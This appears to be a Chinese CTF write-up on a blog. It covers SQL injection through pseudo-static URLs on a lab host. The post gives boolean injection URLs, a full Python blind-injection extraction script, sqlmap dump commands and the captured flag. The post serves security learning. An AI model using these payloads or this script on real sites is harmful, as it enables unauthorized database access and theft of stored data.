涂寐‘s Blogs 文章更新——220613

  • 安鸾之文件包含系列
  • 安鸾之SQL系列&余下部分
  • sqli-labs之Less-6
  • 安鸾基础题之Nginx整数溢出漏洞
  • 安鸾SQL系列之搜索型注入
  • Keep主题之51la网站统计

优选内容 

0x01 伪静态&搜索注入

0o00 题目提示

1
2
3
伪静态&搜索注入

题目URL:http://47.103.94.191:8001/

0o01 伪静态注入

①网站形态:分动态和静态。
②动态页面:一个页面根据用户请求,从服务器数据库中筛选出请求的内容并返回前端界面。
③静态页面:用户访问一个页面,服务器直接将该页面返回前端界面,无需数据库支持。
④伪静态页面:动态页面为提高收录率,通过某些规则将动态页面的地址转换成以 htm/html 后缀的形式(重写URL),但本质上仍为动态页面。
⑤个人理解伪静态图:

涂寐‘s Blogs 文章更新——220613_第1张图片

⑥伪静态判定

  1. 利用动态页面最后修改时间总为当前时间,静态页面最后修改时间为文件生成时间的特点进行判定
  2. 流程:htm页面–>F12–>控制台–>输入javascript:alert(document.lastModified)–>日期总为当前时间,为伪静态。

⑦常见伪静态:aspcms、phpweb、thinkphp框架等

0o02 利用过程

  1. 纯手工利用
    ①判断可能存在

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    
    http://47.103.94.191:8001/front/articles-1 and 1=1.html	# 正常响应
    http://47.103.94.191:8001/front/articles-1 and 1=2.html	# 异常响应
    
    
    # 伪静态中使用%20,%23,+等字符时会直接传递到URL中,但可使用块注释 /**/ 来代替空格
    # 可知当前URL所请求表中含7个字段,通过sqlmap可进一步确认(news库news表)
    http://47.103.94.191:8001/front/articles-2/**/order/**/by/**/7.html
    http://47.103.94.191:8001/front/articles-2/**/order/**/by/**/8.html
    
    
    # 布尔注入
    # 当 1-true 成立,即为0,则没有文章articles-0,反之为文章articles-1
    http://47.103.94.191:8001/front/articles-1-true.html
    http://47.103.94.191:8001/front/articles-1-false.html
    
    
    # 当前用户名长度
    # 当 length(user())=13 成立(true),则 2-(length(user())=13) 得1,则显示文章articles-1,反之显示文章articles-2
    # 又,通过 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -v 3 --current-user 得用户名,test@localhost
    # 故,可以确定当前用户连接用户名长度为14,注入语句成功
    http://47.103.94.191:8001/front/articles-2-(length(user())=13).html
    http://47.103.94.191:8001/front/articles-2-(length(user())=14).html
    
    
    # 当前数据库名长度
    http://47.103.94.191:8001/front/articles-1-(length(database())=3).html
    http://47.103.94.191:8001/front/articles-1-(length(database())=4).html
    
    
    http://47.103.94.191:8001/front/articles-1.html		# 未加入单引号
    http://47.103.94.191:8001/front/articles-1'.html	# 加入单引号,出现异常响应
    

    ②发现没有回显,写脚本进行盲注
    这里脚本可以试试二分法进行盲注,可以有效降低时间复杂度。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    
    # !/usr/bin/env python3
    from requests.sessions import session
    import re
    from time import sleep
    
    """
    @Time    : 2022/5/9 19:18
    @Author  : 涂寐
    @File    : d.py
    @PRODUCT : PyCharm
    @Description : 用于盲注 http://47.103.94.191:8001/front/articles-1%20AND%20(substring(database(),1,1)='1').html 的脚本
    
    """
    
    
    class Riddle:
        url = "http://47.103.94.191:8001/front/articles-1{}.html"
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
                          'Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55 '
        }
        estimates = "abcdefghigklmnopqrstuvwxyz0123456789@_.,{}!#^*()-+/+&~=%$"
        re_title = r'(.*?)'
    
        def riddle_request(self, url: str) -> list:
            """
            这是一个网络请求函数
            :param url: 待请求注入的网址
            :return: 存在注入的判定标识
            """
            with session().get(url=url, headers=self.headers) as response:
                content = response.text
                title_list = re.findall(self.re_title, str(content))
                return title_list
    
        def riddle_length(self, sql_syntax: str) -> int:
            """
            这是一个求取sql请求返回值长度的函数,主要使用还是看你的思维
            :param sql_syntax: sql注入语句
            :return: sql语句返回值的长度
            """
            for num in range(1, 1024):
                url = self.url.format(sql_syntax).format(num=num)
                print(num, end='-')
                if not self.riddle_request(url):
                    print(num)
                    return num
    
        def riddle_estimate(self, length: int, sql_syntax: str):
            """
            这是一个猜想sql请求返回具体内容的函数,主要使用还是看你的思维
            :param length: 猜想长度
            :param sql_syntax: sql语句
            """
            flag = 0
            for num in range(1, length + 1):
                for estimate in self.estimates:
                    url = self.url.format(sql_syntax).format(num=num, estimate=estimate)
                    if not self.riddle_request(url):
                        print(estimate, end='')
                        sleep(1)
                        flag = 0
                        break
                # 避免过多请求
                if flag > 3:
                    print('flag大于3')
                    break
    
    
    if __name__ == "__main__":
        # 猜表名
        # column_name = "table_name"
        # table_name = "information_schema.columns"
        # limit_name = "table_schema"
        # appoint_name = "news"
        # 猜字段
        # column_name = "column_name"
        # table_name = "information_schema.columns"
        # limit_name = "table_name"
        # appoint_name = "flag_is_here"
        # 猜字段值
        column_name = "flag_number"
        table_name = "news.flag_is_here"
        limit_name = "fid"
        appoint_name = "1"
        riddle = Riddle()
        # http://47.103.94.191:8001/front/articles-1 and ((select length(group_concat(distinct table_schema)) from
        # information_schema.tables)=29).html
        riddle_length = riddle.riddle_length(
            sql_syntax=" and ((select length(group_concat(distinct {column_name})) from {table_name} where {limit_name}='{appoint_name}'".format(
                column_name=column_name, table_name=table_name, limit_name=limit_name,
                appoint_name=appoint_name) + ")={num})")
        # http://47.103.94.191:8001/front/articles-1 and (substring((select group_concat(distinct table_schema) from
        # information_schema.tables),1,1)='i').html
        riddle.riddle_estimate(
            sql_syntax=r" and (substring((select group_concat(distinct {column_name}) from {table_name} where {limit_name}='{appoint_name}'".format(
                column_name=column_name, table_name=table_name, limit_name=limit_name,
                appoint_name=appoint_name) + "),{num},1)='{estimate}')", length=riddle_length)
    
    

  2. sqlmap利用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
    # 注!!!注!!!注!!!
    # sqlmap一把梭时,可在存在伪静态注入点后加入 * 符号标识,具体如下
    
    # 爆当前使用的库名
    sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch  –-current-db
    # 爆news库下表名
    sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" --tables
    # 爆news库flag_is_here表下字段名
    sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" -T 'flag_is_here' --columns
    # 爆news库flag_is_here表fid和flag_number字段内容
    sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" -T 'flag_is_here' -C 'fid,flag_number' --dump
    # 最终得到
    flag{c681ed59dd48ac30bfe913a4c73b2aaa} 
    # 注:使用 -v 参数设置sqlmap的回显等级, -v 为 3 时恰好显示注入语句
    sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -v 3
    

    涂寐‘s Blogs 文章更新——220613_第2张图片

你可能感兴趣的:(Web安全,web安全,安全,渗透测试,网络安全,mysql)